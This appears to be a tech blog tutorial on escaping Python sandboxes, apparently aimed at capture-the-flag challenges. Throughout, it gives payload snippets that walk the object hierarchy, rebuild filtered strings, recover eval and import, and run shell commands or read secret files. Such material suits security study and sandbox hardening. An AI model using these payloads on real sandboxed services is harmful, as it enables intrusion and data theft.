Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Advanced Methodologies for Bypassing Python Restricted Execution Environments

Tech 1

Restricted Execution Surface Analysis

Python sandboxes typically restrict access to specific built-in modules and functions that allow system interaction. Commonly blocked libraries include os, subprocess, pty, sys, and commands. Additionally, direct execution functions like eval, exec, and open are often removed from the global namespace or filtered via input validation.

However, the Python object model retains introspection capabilities even in restricted contexts. Every object inherits from object, and classes maintain references to their bases, subclasses, and global namespaces. These relationships form the foundation for escaping restricted environments.

Object Introspection and Inheritance Chains

The primary mechanism for sandbox escape involves traversing the inheritance hierarchy to locate loaded modules. In Python, all classes ultimately inherit from object. By accessing the __subclasses__() method of the base object class, an attacker can enumerate all currently loaded classes in the interpreter session.

Accessing Subclasses

Rather than relying on hardcoded indices which vary between versions, dynamic search patterns are more robust:

# Identify the base object class
base_object = ''.__class__.__mro__[-1]

# Enumerate available subclasses
available_classes = base_object.__subclasses__()

# Search for a specific utility class, e.g., warnings.catch_warnings
for cls in available_classes:
    if cls.__name__ == 'catch_warnings':
        target_class = cls
        break

Retrieving Module Globals

Once a useful class is identified, its __init__ method often retains a reference to the global namespace where modules like os or linecache were imported. Accessing __globals__ (or func_globals in older versions) allows retrieval of these references.

# Access the global namespace of the class initializer
globals_ref = target_class.__init__.__globals__

# Retrieve the os module if available
os_module = globals_ref.get('os')

# Execute system commands if the module is accessible
if os_module:
    os_module.system('id')

In scenarios where os is not directly in the globals, intermediate modules like linecache or warnings may hold references to it. Chaining these lookups enables access to forbidden functionality.

String Obfuscation and Import Bypasses

Input filters often blacklist specific strings such as "os", "eval", or "import". To bypass these restrictions, strings can be constructed dynamically.

String Reconstruction

Instead of passing literal strings, use concatenation, slicing, or encoding:

# Construct 'os' via slicing
module_name = 'so'[::-1]

# Construct via concatenation
part_a = 's'
part_b = 'o'
module_name = part_a + part_b

# Construct via encoding
import base64
module_name = base64.b64decode('b3M=').decode()

Alternative Importers

If __import__ is disabled, importlib provides an alternative pathway. Even if importlib is not directly accessible, it may be reachable through the subclass chain.

# Using importlib if accessible
import importlib
os_mod = importlib.import_module('os')
os_mod.system('whoami')

# Indirect execution via execfile (Python 2 legacy)
# execfile('/path/to/os.py')

# Indirect execution via file reading (Python 3)
with open('/path/to/os.py', 'r') as f:
    exec(f.read())

Manipulating sys.modules and Builtins

The sys.modules dictionary caches all imported modules. Even if a module name is deleted from the local namespace, it may persist in sys.modules. Additionally, the builtins module contains core functions that might be restored.

Restoring Modules

import sys

# Check if os exists in the module cache
if 'os' in sys.modules:
    os_module = sys.modules['os']
    os_module.system('ls')

# Reload builtins if possible (Python 2 reload is built-in)
# import importlib
# importlib.reload(sys.modules['builtins'])

Accessing Builtins via Closures

Functions retain access to their global builtins via __globals__:

# Access eval through a lambda's global scope
eval_func = (lambda x: 0).__globals__['__builtins__']['eval']
eval_func("__import__('os').system('dir')")

Practical Exploitation Scenarios

Scenario 1: Restricted Eval Context

In challenges where eval is restricted to a custom global dictionary without __builtins__, object introspection allows access to the underlying class structure.

# Payload structure
payload = """.__class__.__mro__[2].__subclasses__()[40]('flag.txt').read()"""
# Execute within the restricted eval
# result = eval(user_input + payload)

Scenario 2: Filtered Keywords

When keywords like import or os are blacklisted, string manipulation bypasses the filter.

# Bypassing 'os' filter
command = "__import__('o' + 's').system('ls')"

# Bypassing 'import' filter using getattr
builtin_import = getattr(__builtins__, '__import__')
mod = builtin_import('subprocess')
mod.call(['ls'])

Scenario 3: Symbol Restrictions

Some environments filter brackets [] or dots .. Methods like getattr and __getitem__ can substitute attribute access.

# Using getattr instead of dot notation
os_sys = getattr(getattr(__builtins__, '__import__')('os'), 'system')
os_sys('id')

# Using __getitem__ instead of brackets
subclasses = ''.__class__.__mro__[-1].__subclasses__
target = subclasses().__getitem__(59)

File System Interaction

If direct command execution is blocked, file operations may still be possible via open or subclass file types. Writing a malicious script and importing its a viable escalation path.

# Write a helper script
with open('exploit.py', 'w') as f:
    f.write("import os; print(os.system('whoami'))")

# Import and execute
import exploit

Alternatively, accessing the file subclass (Python 2) or io.FileIO (Python 3) through the inheritance chain allows direct file reading without the open function.

# Accessing file IO via subclasses
file_class = ''.__class__.__mro__[-1].__subclasses__()[40]
content = file_class('secret.txt').read()

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Comprehensive Guide to SSTI Explained with Payload Bypass Techniques

Introduction Server-Side Template Injection (SSTI) is a vulnerability in web applications where user input is improper handled within the template engine and executed on the server. This exploit can r...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.